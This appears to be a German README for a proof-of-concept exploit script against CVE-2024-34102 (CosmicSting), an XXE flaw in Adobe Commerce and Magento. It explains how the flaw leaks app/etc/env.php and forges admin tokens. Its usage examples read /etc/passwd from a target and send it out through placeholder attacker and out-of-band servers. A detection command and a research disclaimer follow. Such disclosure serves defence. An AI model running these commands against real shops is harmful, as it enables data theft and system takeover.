
CosmicSting: kritische, nicht authentifizierte XXE-Sicherheitslücke in Adobe Commerce und Magento (CVE-2024-34102)
CVE-2024-34102 ist eine schwerwiegende Sicherheitslücke, die aus unsachgemäßer Handhabung von verschachtelter Deserialisierung in Adobe Commerce und Magento resultiert. Diese Schwachstelle ermöglicht es Angreifern, XML External Entities (XXE) während des Deserialisierungsprozesses auszunutzen, was potenziell zu einer Remotecodeausführung führen kann. Kurz gesagt, können Angreifer schädliche JSON-Nutzdaten erstellen, die bei der Deserialisierung durch die Anwendung Objekte mit unbeabsichtigten Eigenschaften oder Verhaltensweisen instanziieren. Dies könnte zu verschiedenen Sicherheitsrisiken führen.
Die Ausnutzung dieser Schwachstelle erlaubt es Angreifern, unbefugten Administratorzugriff auf die REST-API, GraphQL-API oder SOAP-API zu erlangen, was möglicherweise zu Datendiebstahl, Dienstunterbrechung und vollständiger Kompromittierung betroffener Systeme führt. Diese Schwachstelle stellt ein erhebliches Risiko dar, da sie sensible Dateien wie app/etc/env.php exfiltrieren kann, die kryptografische Schlüssel zur Authentifizierung enthalten. Angreifer können dies ausnutzen, um Administrator-Token zu fälschen und Magento-APIs als privilegierte Benutzer zu manipulieren.
Darüber hinaus kann CVE-2024-34102 mit anderen Schwachstellen wie dem PHP-Filterketten-Exploit (CVE-2024-2961) kombiniert werden, was zu einer Remotecodeausführung (RCE) führt. Die weitreichenderen Auswirkungen von XML-External-Entity (XXE)-Sicherheitslücken ermöglichen es Angreifern, Daten aus externen Quellen abzurufen und zu manipulieren, was die potenziellen Auswirkungen auf kompromittierte Systeme verstärkt.
usage: exploit.py [-h] --target TARGET --read-file READ_FILE [--oob-server OOB_SERVER] [--host-server HOST_SERVER]
Exploit script for XXE vulnerability
options:
-h, --help show this help message and exit
--target TARGET, -t TARGET
Target URL (http(s)://ip[:port])
--read-file READ_FILE, -r READ_FILE
File to read from the remote host
--oob-server OOB_SERVER, -ob OOB_SERVER
OOB server URL (http(s)://ip[:port])
--host-server HOST_SERVER, -hs HOST_SERVER
Host server URL (http(s)://ip[:port])
Beispiele
# Run with local attacker server and local OOB server
python3 exploit.py -t https://magento.test -r "/etc/passwd"
# Run with remote attacker server and remote OOB server
python3 exploit.py -t https://magento.test --oob-server http://xxx.oasitfy.com --host-server https://remote-attacker-server.com -r "/etc/passwd"
# Detection
python3 detect.py -t https://magento.test
Dieses Exploit-Skript wurde ausschließlich zu Forschungszwecken und zur Entwicklung effektiver Abwehrtechniken erstellt. Es ist nicht für böswillige oder unbefugte Aktivitäten bestimmt. Der Autor und der Eigentümer des Skripts lehnen jegliche Verantwortung oder Haftung für Missbrauch oder Schäden ab, die durch diese Software verursacht werden. Benutzer werden dringend gebeten, diese Software verantwortungsvoll und nur in Übereinstimmung mit den geltenden Gesetzen und Vorschriften zu verwenden. Verwenden Sie es verantwortungsvoll.